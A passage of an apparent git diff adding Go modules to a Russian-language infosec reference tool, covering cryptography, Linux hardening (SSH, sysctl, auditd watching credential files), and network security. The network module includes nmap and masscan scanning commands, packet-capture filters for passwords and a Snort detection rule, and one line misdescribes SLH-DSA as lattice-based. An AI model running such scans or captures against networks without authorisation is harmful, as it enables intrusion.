Least Privilege — минимально необходимые права
|
||||
Need to Know — доступ только к нужной информации
|
||||
Zero Trust — не доверяй никому по умолчанию, верифицируй всё
|
||||
Fail Secure — при сбое → закрытое состояние
|
||||
Security by Design — безопасность с самого начала проектирования`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
209
modules/infosecmodules/infosec_crypto.go
Normal file
209
modules/infosecmodules/infosec_crypto.go
Normal file
|
|
@ -0,0 +1,209 @@
|
|||
package infosecmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var CryptoModule = Module{
|
||||
Key: "crypto",
|
||||
Aliases: []string{"cr", "encryption", "крипто"},
|
||||
Title: "Криптография",
|
||||
Description: "Симметричная/асимметричная криптография, хэши, MAC, алгоритмы",
|
||||
Run: showCrypto,
|
||||
}
|
||||
|
||||
func showCrypto() {
|
||||
utils.Header("InfoSec — Криптография")
|
||||
|
||||
utils.Section("Основные понятия")
|
||||
utils.Code(`Plaintext — открытый текст (исходные данные)
|
||||
Ciphertext — зашифрованные данные
|
||||
Encryption — процесс шифрования
|
||||
Decryption — расшифровка
|
||||
Key — ключ (параметр алгоритма)
|
||||
Algorithm — математический метод шифрования
|
||||
Protocol — набор правил использования алгоритмов
|
||||
|
||||
Принцип Керкхоффса:
|
||||
Алгоритм может быть публичным.
|
||||
Безопасность зависит только от секретности ключа.
|
||||
(Не полагайтесь на "Security Through Obscurity"!)`)
|
||||
|
||||
utils.Section("Симметричная криптография")
|
||||
utils.Code(`Один ключ — для шифрования И расшифровки.
|
||||
Быстро, подходит для больших объёмов данных.
|
||||
Проблема: как безопасно передать ключ?
|
||||
|
||||
Алгоритмы:
|
||||
AES (Advanced Encryption Standard) — стандарт, ключи 128/192/256 бит
|
||||
ChaCha20 — альтернатива AES, быстро на мобильных без AES-NI
|
||||
3DES — устаревший (DES × 3), не использовать в новых системах
|
||||
Blowfish — устарел
|
||||
|
||||
Режимы AES:
|
||||
ECB — каждый блок шифруется независимо (НЕБЕЗОПАСНО, паттерны видны!)
|
||||
CBC — каждый блок XOR с предыдущим шифротекстом, нужен IV
|
||||
CTR — счётчик + nonce, превращает блочный в поточный
|
||||
GCM — CTR + аутентификация (рекомендуется!)
|
||||
|
||||
AES-256-GCM — золотой стандарт симметричного шифрования.
|
||||
|
||||
# OpenSSL пример:
|
||||
openssl enc -aes-256-cbc -in file.txt -out file.enc -k password
|
||||
openssl enc -d -aes-256-cbc -in file.enc -out file.txt -k password`)
|
||||
|
||||
utils.Section("Асимметричная криптография (PKC)")
|
||||
utils.Code(`Два математически связанных ключа:
|
||||
Public key — публичный, можно раздавать всем
|
||||
Private key — приватный, хранить в секрете
|
||||
|
||||
Операции:
|
||||
Шифрование: зашифровать публичным → расшифровать приватным
|
||||
Подпись: подписать приватным → верифицировать публичным
|
||||
|
||||
Алгоритмы:
|
||||
RSA — классика, ключи 2048/4096 бит
|
||||
Медленный для больших данных (используется для ключей и подписей)
|
||||
ECDSA — на эллиптических кривых, меньший ключ = та же стойкость
|
||||
256 бит ECDSA ≈ 3072 бит RSA
|
||||
Ed25519 — Edwards curve DSA, быстрый и надёжный (SSH, TLS 1.3)
|
||||
ECDH — Elliptic Curve Diffie-Hellman (обмен ключами)
|
||||
DHE — Diffie-Hellman Ephemeral (Perfect Forward Secrecy)
|
||||
|
||||
RSA — как работает (упрощённо):
|
||||
p, q — большие простые числа
|
||||
n = p * q (публичный модуль)
|
||||
e — публичная экспонента (обычно 65537)
|
||||
d — приватная экспонента (из p, q, e)
|
||||
Шифрование: C = M^e mod n
|
||||
Расшифровка: M = C^d mod n
|
||||
|
||||
# Генерация RSA ключа:
|
||||
openssl genrsa -out private.key 4096
|
||||
openssl rsa -in private.key -pubout -out public.key
|
||||
|
||||
# Генерация Ed25519:
|
||||
openssl genpkey -algorithm Ed25519 -out private.key`)
|
||||
|
||||
utils.Section("Хэш-функции")
|
||||
utils.Code(`Хэш — детерминированное преобразование произвольных данных в строку фиксированной длины.
|
||||
|
||||
Свойства криптографического хэша:
|
||||
1. Детерминизм — одни данные → один хэш всегда
|
||||
2. Скорость — быстро вычислять
|
||||
3. Лавинный эффект — 1 бит изменения → ~50% хэша меняется
|
||||
4. Необратимость — по хэшу нельзя восстановить данные
|
||||
5. Устойчивость к коллизиям — разные данные → разные хэши
|
||||
|
||||
Алгоритмы:
|
||||
MD5 — 128 бит, СЛОМАН (коллизии), только для чексумм
|
||||
SHA-1 — 160 бит, СЛОМАН, не использовать для безопасности
|
||||
SHA-256 — 256 бит, стандарт (семейство SHA-2)
|
||||
SHA-512 — 512 бит, более стойкий
|
||||
SHA-3 — альтернативный дизайн (Keccak), не SHA-2
|
||||
BLAKE2 — быстрее SHA, рекомендуется для checksums
|
||||
BLAKE3 — новый, ещё быстрее
|
||||
|
||||
Применение:
|
||||
Контроль целостности файлов
|
||||
Хранение паролей (с солью!)
|
||||
Цифровые подписи (подписывается хэш, а не сами данные)
|
||||
HMAC, доказательство работы (PoW)
|
||||
|
||||
# Примеры:
|
||||
sha256sum file.txt
|
||||
echo -n "hello" | sha256sum
|
||||
openssl dgst -sha256 file.txt`)
|
||||
|
||||
utils.Section("Хранение паролей")
|
||||
utils.Code(`НИКОГДА не хранить пароли в открытом виде!
|
||||
НИКОГДА не использовать обычный MD5/SHA для паролей!
|
||||
|
||||
Почему обычный хэш не подходит:
|
||||
- Rainbow tables (предвычисленные таблицы хэшей)
|
||||
- GPU-брутфорс: миллиарды SHA-256 в секунду
|
||||
|
||||
Правильные алгоритмы для паролей (медленные!):
|
||||
bcrypt — стандарт, cost factor масштабируется
|
||||
scrypt — память-затратный (сложнее для GPU)
|
||||
Argon2 — победитель PHC, рекомендуется (argon2id)
|
||||
PBKDF2 — много итераций, используется в WPA2, iOS
|
||||
|
||||
Соль (Salt) — случайные данные, добавляемые к паролю перед хэшированием.
|
||||
Защита от rainbow tables.
|
||||
Уникальная для каждого пользователя.
|
||||
Хранится вместе с хэшем (не секрет).
|
||||
|
||||
# Python пример:
|
||||
import bcrypt
|
||||
hashed = bcrypt.hashpw(b"password", bcrypt.gensalt(rounds=12))
|
||||
bcrypt.checkpw(b"password", hashed) # True
|
||||
|
||||
# Формат bcrypt хэша:
|
||||
$2b$12$saltbase64hashedpasswordbase64
|
||||
# $2b$ — версия
|
||||
# $12$ — cost factor (2^12 итераций)
|
||||
# следующие 22 символа — соль
|
||||
# остальное — хэш`)
|
||||
|
||||
utils.Section("MAC и аутентифицированное шифрование")
|
||||
utils.Code(`MAC (Message Authentication Code) — обеспечивает целостность и подлинность.
|
||||
В отличие от хэша: зависит от секретного ключа.
|
||||
Защищает от подделки (атаки MITM).
|
||||
|
||||
HMAC (Hash-based MAC):
|
||||
HMAC(key, message) = H((key XOR opad) || H((key XOR ipad) || message))
|
||||
|
||||
HMAC-SHA256 — стандарт.
|
||||
Используется в JWT, API-подписях, TLS.
|
||||
|
||||
Аутентифицированное шифрование (AEAD):
|
||||
Шифрование + MAC в одном алгоритме.
|
||||
AES-GCM — самый популярный
|
||||
ChaCha20-Poly1305 — альтернатива без AES-NI
|
||||
|
||||
AEAD = шифрование (конфиденциальность)
|
||||
+ authentication (целостность + подлинность)
|
||||
|
||||
# HMAC пример:
|
||||
import hmac, hashlib
|
||||
mac = hmac.new(b'secret_key', b'message', hashlib.sha256)
|
||||
print(mac.hexdigest())
|
||||
|
||||
# OpenSSL:
|
||||
echo -n "message" | openssl dgst -sha256 -hmac "secret_key"`)
|
||||
|
||||
utils.Section("Perfect Forward Secrecy (PFS)")
|
||||
utils.Code(`PFS — компрометация долгосрочного ключа не раскрывает прошлые сессии.
|
||||
|
||||
Без PFS:
|
||||
Злоумышленник записывает трафик → получает приватный ключ →
|
||||
расшифровывает ВСЕ записанные сессии.
|
||||
|
||||
С PFS (DHE/ECDHE):
|
||||
Для каждой сессии генерируются временные (ephemeral) ключи.
|
||||
После сессии они удаляются.
|
||||
Расшифровать прошлые сессии НЕВОЗМОЖНО.
|
||||
|
||||
TLS шифры с PFS:
|
||||
ECDHE-RSA-AES256-GCM-SHA384 (рекомендуется)
|
||||
ECDHE-ECDSA-AES256-GCM-SHA384 (рекомендуется)
|
||||
DHE-RSA-AES256-GCM-SHA384 (медленнее)
|
||||
|
||||
Шифры без PFS (избегать!):
|
||||
RSA-AES256-CBC-SHA — RSA напрямую для обмена ключами`)
|
||||
|
||||
utils.Section("Квантовая криптография и постквантовые алгоритмы")
|
||||
utils.Code(`Квантовые компьютеры угрожают RSA и ECC (алгоритм Шора).
|
||||
SHA-256 и AES-256 остаются стойкими (алгоритм Гровера лишь вдвое снижает стойкость).
|
||||
|
||||
NIST Post-Quantum Standards (2024):
|
||||
ML-KEM (CRYSTALS-Kyber) — обмен ключами (замена ECDH)
|
||||
ML-DSA (CRYSTALS-Dilithium) — цифровые подписи
|
||||
SLH-DSA (SPHINCS+) — подписи на решётках
|
||||
|
||||
Гибридный подход (рекомендуется сейчас):
|
||||
X25519 + ML-KEM — классика + постквантовый (используется в TLS 1.3, Chrome)`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
248
modules/infosecmodules/infosec_hardening.go
Normal file
248
modules/infosecmodules/infosec_hardening.go
Normal file
|
|
@ -0,0 +1,248 @@
|
|||
package infosecmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var HardeningModule = Module{
|
||||
Key: "hardening",
|
||||
Aliases: []string{"h", "harden", "ужесточение"},
|
||||
Title: "Linux Hardening",
|
||||
Description: "Усиление безопасности Linux: SSH, пакеты, аудит, CIS Benchmarks",
|
||||
Run: showHardening,
|
||||
}
|
||||
|
||||
func showHardening() {
|
||||
utils.Header("InfoSec — Linux Hardening")
|
||||
|
||||
utils.Section("Принципы усиления безопасности")
|
||||
utils.Code(`1. Минимизация поверхности атаки — отключить всё лишнее
|
||||
2. Минимальные привилегии — только нужные права
|
||||
3. Принцип fail-secure — при сбое → закрытое состояние
|
||||
4. Аудит и логирование — знать что происходит
|
||||
5. Обновления — патчи уязвимостей
|
||||
|
||||
CIS Benchmarks — детальные руководства по hardening
|
||||
https://www.cisecurity.org/cis-benchmarks/
|
||||
Уровни: Level 1 (базовый), Level 2 (продвинутый)
|
||||
|
||||
Инструменты проверки:
|
||||
Lynis — аудит безопасности Linux
|
||||
OpenSCAP — соответствие стандартам (RHEL)
|
||||
CIS-CAT — CIS Benchmarks scanner`)
|
||||
|
||||
utils.Section("SSH Hardening")
|
||||
utils.Code(`# /etc/ssh/sshd_config:
|
||||
# Основное:
|
||||
Port 2222 # нестандартный порт (защита от автосканов)
|
||||
PermitRootLogin no # запретить вход root
|
||||
PasswordAuthentication no # только ключи
|
||||
PubkeyAuthentication yes
|
||||
AuthorizedKeysFile .ssh/authorized_keys
|
||||
|
||||
# Ограничения:
|
||||
AllowUsers alice bob # белый список пользователей
|
||||
AllowGroups sshusers # или группа
|
||||
MaxAuthTries 3 # попытки аутентификации
|
||||
LoginGraceTime 30 # секунд на вход
|
||||
MaxStartups 3:50:10 # ограничить параллельные подключения
|
||||
ClientAliveInterval 300 # keepalive каждые 5 минут
|
||||
ClientAliveCountMax 2 # 2 попытки
|
||||
|
||||
# Протокол:
|
||||
Protocol 2 # только SSHv2
|
||||
HostKeyAlgorithms ssh-ed25519,ecdsa-sha2-nistp521,rsa-sha2-512
|
||||
KexAlgorithms curve25519-sha256,diffie-hellman-group-exchange-sha256
|
||||
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com
|
||||
MACs hmac-sha2-512-etm@openssh.com
|
||||
|
||||
# Дополнительно:
|
||||
X11Forwarding no
|
||||
AllowTcpForwarding no # запретить туннели (если не нужны)
|
||||
Banner /etc/ssh/banner.txt # показать предупреждение при входе
|
||||
LogLevel VERBOSE
|
||||
|
||||
# Применить:
|
||||
sshd -t # проверить конфиг
|
||||
systemctl restart sshd`)
|
||||
|
||||
utils.Section("Усиление системы")
|
||||
utils.Code(`# Обновления:
|
||||
apt update && apt upgrade -y && apt autoremove -y # Debian
|
||||
dnf update -y && dnf autoremove -y # RHEL
|
||||
|
||||
# Автоматические обновления безопасности:
|
||||
apt install unattended-upgrades
|
||||
dpkg-reconfigure unattended-upgrades
|
||||
|
||||
# Удалить ненужные пакеты:
|
||||
apt list --installed | grep -v "essential\|required"
|
||||
dnf list installed
|
||||
# Удалить неиспользуемые: apt remove telnet rsh ftp ...
|
||||
|
||||
# Отключить ненужные сервисы:
|
||||
systemctl list-units --type=service --state=active
|
||||
systemctl disable --now cups avahi-daemon bluetooth
|
||||
|
||||
# Временная зона и NTP:
|
||||
timedatectl set-timezone UTC
|
||||
timedatectl set-ntp true`)
|
||||
|
||||
utils.Section("Сетевое усиление")
|
||||
utils.Code(`# /etc/sysctl.d/99-hardening.conf:
|
||||
|
||||
# Защита от спуфинга:
|
||||
net.ipv4.conf.all.rp_filter = 1
|
||||
net.ipv4.conf.default.rp_filter = 1
|
||||
|
||||
# Запретить ICMP redirect:
|
||||
net.ipv4.conf.all.accept_redirects = 0
|
||||
net.ipv4.conf.default.accept_redirects = 0
|
||||
net.ipv6.conf.all.accept_redirects = 0
|
||||
|
||||
# Запретить source routing:
|
||||
net.ipv4.conf.all.accept_source_route = 0
|
||||
net.ipv6.conf.all.accept_source_route = 0
|
||||
|
||||
# SYN cookies (защита от SYN flood):
|
||||
net.ipv4.tcp_syncookies = 1
|
||||
|
||||
# Не отвечать на broadcast ping:
|
||||
net.ipv4.icmp_echo_ignore_broadcasts = 1
|
||||
|
||||
# Игнорировать bogus ICMP:
|
||||
net.ipv4.icmp_ignore_bogus_error_responses = 1
|
||||
|
||||
# Логировать martian пакеты:
|
||||
net.ipv4.conf.all.log_martians = 1
|
||||
|
||||
# Запретить IP forwarding (если не роутер):
|
||||
net.ipv4.ip_forward = 0
|
||||
net.ipv6.conf.all.forwarding = 0
|
||||
|
||||
# Применить:
|
||||
sysctl -p /etc/sysctl.d/99-hardening.conf`)
|
||||
|
||||
utils.Section("Усиление паролей и аутентификации")
|
||||
utils.Code(`# PAM — Pluggable Authentication Modules
|
||||
# /etc/security/pwquality.conf:
|
||||
minlen = 14 # минимальная длина
|
||||
minclass = 4 # классы символов (upper, lower, digit, other)
|
||||
maxrepeat = 3 # не более 3 одинаковых подряд
|
||||
dcredit = -1 # хотя бы 1 цифра
|
||||
ucredit = -1 # хотя бы 1 заглавная
|
||||
lcredit = -1 # хотя бы 1 строчная
|
||||
ocredit = -1 # хотя бы 1 спецсимвол
|
||||
|
||||
# /etc/security/faillock.conf (блокировка после неудач):
|
||||
deny = 5 # блокировать после 5 неудачных попыток
|
||||
unlock_time = 900 # разблокировать через 15 минут
|
||||
|
||||
# /etc/login.defs:
|
||||
PASS_MAX_DAYS 90 # смена пароля каждые 90 дней
|
||||
PASS_MIN_DAYS 7 # не менять чаще раза в 7 дней
|
||||
PASS_WARN_AGE 14 # предупреждать за 14 дней
|
||||
|
||||
# Применить политику к существующему пользователю:
|
||||
chage -M 90 -W 14 alice
|
||||
chage -l alice # просмотр`)
|
||||
|
||||
utils.Section("Аудит — auditd")
|
||||
utils.Code(`auditd — система аудита Linux ядра.
|
||||
Логирует системные вызовы, доступ к файлам, изменения конфигурации.
|
||||
|
||||
# Установка:
|
||||
apt install auditd
|
||||
systemctl enable --now auditd
|
||||
|
||||
# /etc/audit/rules.d/audit.rules:
|
||||
# Мониторинг изменений аутентификационных файлов:
|
||||
-w /etc/passwd -p wa -k identity
|
||||
-w /etc/shadow -p wa -k identity
|
||||
-w /etc/sudoers -p wa -k sudoers
|
||||
|
||||
# Мониторинг входов в систему:
|
||||
-w /var/log/faillog -p wa -k logins
|
||||
-w /var/log/lastlog -p wa -k logins
|
||||
|
||||
# Мониторинг команд с привилегиями:
|
||||
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_commands
|
||||
|
||||
# Мониторинг сетевых соединений:
|
||||
-a always,exit -F arch=b64 -S connect -k network_connect
|
||||
|
||||
# Применить правила без перезапуска:
|
||||
augenrules --load
|
||||
|
||||
# Просмотр логов:
|
||||
ausearch -k identity -ts recent # события за последнее время
|
||||
ausearch -k root_commands -ui 0 # команды root
|
||||
aureport --auth # отчёт по аутентификации
|
||||
aureport --summary # общий отчёт
|
||||
aureport --failed # только ошибки`)
|
||||
|
||||
utils.Section("Защита файловой системы")
|
||||
utils.Code(`# /etc/fstab — безопасные опции монтирования:
|
||||
/dev/sda1 / ext4 defaults 0 1
|
||||
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
|
||||
tmpfs /var/tmp tmpfs defaults,noexec,nosuid,nodev 0 0
|
||||
/dev/sda3 /home ext4 defaults,noexec,nosuid,nodev 0 2
|
||||
/dev/sda4 /var ext4 defaults,nosuid,nodev 0 2
|
||||
|
||||
# noexec — нельзя запускать файлы
|
||||
# nosuid — SUID биты игнорируются
|
||||
# nodev — устройства игнорируются
|
||||
|
||||
# Поиск файлов с SUID/SGID:
|
||||
find / -perm /4000 -type f 2>/dev/null # SUID
|
||||
find / -perm /2000 -type f 2>/dev/null # SGID
|
||||
# Проверить нужны ли они, убрать ненужные:
|
||||
chmod u-s /usr/bin/unnecessary
|
||||
|
||||
# Файлы без владельца (orphaned):
|
||||
find / -nouser -o -nogroup 2>/dev/null
|
||||
|
||||
# Разрешения на критичные файлы:
|
||||
chmod 600 /etc/shadow
|
||||
chmod 644 /etc/passwd
|
||||
chmod 440 /etc/sudoers
|
||||
chmod 700 /root
|
||||
|
||||
# AIDE — мониторинг целостности файлов:
|
||||
apt install aide
|
||||
aide --init
|
||||
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
|
||||
# Проверка (запускать регулярно):
|
||||
aide --check`)
|
||||
|
||||
utils.Section("Lynis — аудит безопасности")
|
||||
utils.Code(`Lynis — инструмент аудита безопасности Linux.
|
||||
Проверяет более 300 параметров, даёт рекомендации.
|
||||
|
||||
# Установка:
|
||||
apt install lynis
|
||||
# или из репозитория (актуальная версия):
|
||||
git clone https://github.com/CISOfy/lynis
|
||||
cd lynis && ./lynis audit system
|
||||
|
||||
# Запуск:
|
||||
lynis audit system # полный аудит системы
|
||||
lynis audit system --quick # быстрый
|
||||
lynis audit system --pentest # более агрессивные проверки
|
||||
lynis show tests # список всех тестов
|
||||
|
||||
# Результаты:
|
||||
# /var/log/lynis.log — детальный лог
|
||||
# /var/log/lynis-report.dat — машиночитаемый отчёт
|
||||
# Hardening Index: 0-100 (выше = лучше)
|
||||
|
||||
# OpenSCAP (RHEL):
|
||||
dnf install scap-security-guide openscap-scanner
|
||||
# Проверка по CIS Benchmark:
|
||||
oscap xccdf eval \
|
||||
--profile xccdf_org.ssgproject.content_profile_cis \
|
||||
--results results.xml \
|
||||
/usr/share/xml/scap/ssg/content/ssg-rhel9-ds.xml`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
243
modules/infosecmodules/infosec_netsec.go
Normal file
243
modules/infosecmodules/infosec_netsec.go
Normal file
|
|
@ -0,0 +1,243 @@
|
|||
package infosecmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var NetsecModule = Module{
|
||||
Key: "netsec",
|
||||
Aliases: []string{"ns", "network", "сетьбез"},
|
||||
Title: "Сетевая безопасность",
|
||||
Description: "Сканирование, анализ трафика, IDS/IPS, VPN, сегментация сети",
|
||||
Run: showNetsec,
|
||||
}
|
||||
|
||||
func showNetsec() {
|
||||
utils.Header("InfoSec — Сетевая безопасность")
|
||||
|
||||
utils.Section("Сетевая разведка и сканирование")
|
||||
utils.Code(`# nmap — сетевой сканер:
|
||||
nmap 192.168.1.1 # базовое сканирование
|
||||
nmap 192.168.1.0/24 # сканировать подсеть
|
||||
nmap -sV 192.168.1.1 # определить версии сервисов
|
||||
nmap -sV -sC 192.168.1.1 # + скрипты по умолчанию
|
||||
nmap -p 22,80,443 192.168.1.1 # конкретные порты
|
||||
nmap -p 1-1000 192.168.1.1 # диапазон портов
|
||||
nmap -p- 192.168.1.1 # все 65535 портов
|
||||
nmap -A 192.168.1.1 # OS, версии, скрипты, traceroute
|
||||
nmap -O 192.168.1.1 # определить ОС
|
||||
nmap -sn 192.168.1.0/24 # только ping sweep (без портов)
|
||||
nmap -sS 192.168.1.1 # SYN scan (stealth, нужен root)
|
||||
nmap -sU -p 53,161 192.168.1.1 # UDP сканирование
|
||||
nmap -Pn 192.168.1.1 # не пинговать перед сканом
|
||||
nmap --script vuln 192.168.1.1 # проверка уязвимостей
|
||||
nmap -oA results 192.168.1.1 # сохранить в 3 форматах
|
||||
|
||||
# masscan — очень быстрое сканирование:
|
||||
masscan -p80,443 192.168.0.0/16 --rate=10000
|
||||
|
||||
# rustscan — быстрый сканер на Rust:
|
||||
rustscan -a 192.168.1.1 -- -sV -sC`)
|
||||
|
||||
utils.Section("Анализ трафика")
|
||||
utils.Code(`# tcpdump — захват пакетов в CLI:
|
||||
tcpdump -i eth0 # всё с интерфейса
|
||||
tcpdump -i eth0 port 80 # только HTTP
|
||||
tcpdump -i eth0 host 192.168.1.10 # к/от хоста
|
||||
tcpdump -i eth0 'tcp and port 443' # HTTPS
|
||||
tcpdump -i eth0 -w capture.pcap # сохранить в файл
|
||||
tcpdump -r capture.pcap # читать файл
|
||||
tcpdump -i eth0 -n -A port 80 # без разрешения имён, ASCII
|
||||
tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' # SYN пакеты
|
||||
|
||||
# Фильтры BPF (Berkeley Packet Filter):
|
||||
host 10.0.0.1 # хост
|
||||
net 192.168.1.0/24 # подсеть
|
||||
port 22 # порт
|
||||
tcp / udp / icmp # протокол
|
||||
src host 10.0.0.1 # только источник
|
||||
dst port 80 # только назначение
|
||||
not port 22 # исключить SSH`)
|
||||
|
||||
utils.Println(utils.ColorBold + "Wireshark — GUI анализ:" + utils.ColorReset)
|
||||
utils.Code(`# Фильтры дисплея Wireshark:
|
||||
ip.addr == 192.168.1.1 # IP
|
||||
tcp.port == 80 # порт
|
||||
http # только HTTP
|
||||
http.request.method == "POST" # POST запросы
|
||||
tls.handshake # TLS handshake
|
||||
!(arp or dns) # исключить ARP и DNS
|
||||
tcp.flags.syn == 1 # SYN пакеты
|
||||
frame contains "password" # строка в пакете
|
||||
tcp.analysis.retransmission # ретрансмиссии
|
||||
|
||||
# Tshark — CLI версия Wireshark:
|
||||
tshark -i eth0 -f "port 80" -w output.pcap
|
||||
tshark -r capture.pcap -T fields -e ip.src -e http.host`)
|
||||
|
||||
utils.Section("IDS/IPS — системы обнаружения вторжений")
|
||||
utils.Code(`IDS (Intrusion Detection System) — обнаруживает, уведомляет
|
||||
IPS (Intrusion Prevention System) — обнаруживает И блокирует
|
||||
|
||||
Типы:
|
||||
NIDS — сетевой (анализирует трафик)
|
||||
HIDS — хостовый (файлы, логи, процессы)
|
||||
Signature-based — сравнение с известными паттернами
|
||||
Anomaly-based — отклонение от нормы (ML)
|
||||
|
||||
Snort — популярный NIDS/IPS:
|
||||
snort -i eth0 -c /etc/snort/snort.conf
|
||||
snort -r capture.pcap -c /etc/snort/snort.conf
|
||||
|
||||
# Правило Snort:
|
||||
alert tcp any any -> $HOME_NET 22 (
|
||||
msg:"Brute force SSH";
|
||||
flow:to_server;
|
||||
threshold:type both, track by_src, count 5, seconds 60;
|
||||
sid:1000001; rev:1;
|
||||
)
|
||||
|
||||
Suricata — современная замена Snort:
|
||||
Многопоточный, поддерживает Lua-скрипты, YAML-конфиг
|
||||
|
||||
OSSEC / Wazuh — HIDS:
|
||||
Анализ логов, мониторинг файловой системы (FIM),
|
||||
мониторинг реестра Windows, активный ответ`)
|
||||
|
||||
utils.Section("Брандмауэры и сегментация")
|
||||
utils.Code(`Типы файрволов:
|
||||
Packet Filter — фильтрация по IP/порту/протоколу (L3-L4)
|
||||
Stateful — отслеживает состояние соединений
|
||||
Application (L7) — анализирует контент приложений
|
||||
WAF — Web Application Firewall (HTTP/HTTPS)
|
||||
NGFW — Next-Gen FW (IPS + AppID + SSL inspection)
|
||||
|
||||
Сегментация сети:
|
||||
DMZ — демилитаризованная зона (веб-серверы, доступные снаружи)
|
||||
Разделение на VLAN по функции: серверная, управление, пользователи
|
||||
Micro-segmentation — в облаке и K8s (Network Policy)
|
||||
|
||||
# iptables (Linux):
|
||||
# Разрешить входящий SSH:
|
||||
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
|
||||
|
||||
# Разрешить установленные соединения:
|
||||
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||
|
||||
# Заблокировать всё остальное входящее:
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD DROP
|
||||
iptables -P OUTPUT ACCEPT
|
||||
|
||||
# Сохранить правила:
|
||||
iptables-save > /etc/iptables/rules.v4
|
||||
|
||||
# nftables (современная замена iptables):
|
||||
nft add table ip filter
|
||||
nft add chain ip filter input { type filter hook input priority 0 \; policy drop \; }
|
||||
nft add rule ip filter input tcp dport 22 accept
|
||||
nft add rule ip filter input ct state established,related accept
|
||||
|
||||
# Kubernetes Network Policy:
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: NetworkPolicy
|
||||
metadata:
|
||||
name: deny-all
|
||||
spec:
|
||||
podSelector: {}
|
||||
policyTypes: [Ingress, Egress]
|
||||
---
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: NetworkPolicy
|
||||
metadata:
|
||||
name: allow-api
|
||||
spec:
|
||||
podSelector:
|
||||
matchLabels:
|
||||
app: api
|
||||
ingress:
|
||||
- from:
|
||||
- podSelector:
|
||||
matchLabels:
|
||||
app: frontend
|
||||
ports:
|
||||
- port: 8000`)
|
||||
|
||||
utils.Section("VPN — виртуальные частные сети")
|
||||
utils.Code(`Типы VPN:
|
||||
Remote Access VPN — подключение удалённых пользователей
|
||||
Site-to-Site VPN — соединение офисов
|
||||
Split Tunneling — часть трафика через VPN, остальное напрямую
|
||||
|
||||
Протоколы:
|
||||
WireGuard — современный, быстрый, простой (рекомендуется)
|
||||
OpenVPN — популярный, гибкий, на TLS
|
||||
IPsec — стандарт, сложная настройка
|
||||
L2TP/IPsec — устаревает
|
||||
PPTP — СЛОМАН, не использовать
|
||||
|
||||
# WireGuard — быстрая настройка:
|
||||
# Установка:
|
||||
apt install wireguard
|
||||
|
||||
# Генерация ключей:
|
||||
wg genkey | tee privatekey | wg pubkey > publickey
|
||||
|
||||
# /etc/wireguard/wg0.conf (сервер):
|
||||
[Interface]
|
||||
PrivateKey = <server_private_key>
|
||||
Address = 10.0.0.1/24
|
||||
ListenPort = 51820
|
||||
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
|
||||
|
||||
[Peer]
|
||||
PublicKey = <client_public_key>
|
||||
AllowedIPs = 10.0.0.2/32
|
||||
|
||||
# /etc/wireguard/wg0.conf (клиент):
|
||||
[Interface]
|
||||
PrivateKey = <client_private_key>
|
||||
Address = 10.0.0.2/24
|
||||
DNS = 1.1.1.1
|
||||
|
||||
[Peer]
|
||||
PublicKey = <server_public_key>
|
||||
Endpoint = server_ip:51820
|
||||
AllowedIPs = 0.0.0.0/0 # весь трафик через VPN
|
||||
PersistentKeepalive = 25
|
||||
|
||||
# Запуск:
|
||||
wg-quick up wg0
|
||||
systemctl enable wg-quick@wg0`)
|
||||
|
||||
utils.Section("Сетевые атаки и защита")
|
||||
utils.Code(`ARP Spoofing / MITM:
|
||||
Атака: отправка ложных ARP-ответов → перехват трафика
|
||||
Защита: Dynamic ARP Inspection (DAI) на коммутаторе
|
||||
|
||||
DNS Spoofing / Cache Poisoning:
|
||||
Атака: подмена DNS-ответов
|
||||
Защита: DNSSEC, DNS over HTTPS (DoH), DNS over TLS (DoT)
|
||||
|
||||
DDoS — Distributed Denial of Service:
|
||||
Volumetric — переполнение канала (UDP flood, DNS amplification)
|
||||
Protocol — исчерпание ресурсов (SYN flood, Ping of Death)
|
||||
Application — L7 атаки (HTTP flood, Slowloris)
|
||||
Защита: CDN (Cloudflare), rate limiting, scrubbing centers
|
||||
|
||||
SYN Flood:
|
||||
Атака: отправка SYN без ACK → очередь half-open соединений
|
||||
Защита: SYN cookies (sysctl net.ipv4.tcp_syncookies=1)
|
||||
|
||||
Man-in-the-Middle (MITM):
|
||||
Перехват и изменение трафика
|
||||
Защита: TLS с пиннингом сертификата, HSTS, HPKP
|
||||
|
||||
Защита от сканирования:
|
||||
fail2ban — блокировка после N неудачных попыток
|
||||
Port knocking — последовательность "стуков" для открытия порта
|
||||
Honeypots — приманки для обнаружения злоумышленников`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
230
modules/infosecmodules/infosec_pki.go
Normal file
230
modules/infosecmodules/infosec_pki.go
Normal file
|
|
@ -0,0 +1,230 @@
|
|||
package infosecmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var PkiModule = Module{
|
||||
Key: "pki",
|
||||
Aliases: []string{"pk", "tls", "ssl", "certs"},
|
||||
Title: "PKI, TLS и сертификаты",
|
||||
Description: "PKI, X.509, TLS/SSL, цепочки доверия, Let's Encrypt, управление сертификатами",
|
||||
Run: showPki,
|
||||
}
|
||||
|
||||
func showPki() {
|
||||
utils.Header("InfoSec — PKI, TLS и сертификаты")
|
||||
|
||||
utils.Section("PKI — инфраструктура открытых ключей")
|
||||
utils.Code(`PKI (Public Key Infrastructure) — система для управления цифровыми сертификатами.
|
||||
|
||||
Компоненты:
|
||||
CA (Certificate Authority) — удостоверяющий центр
|
||||
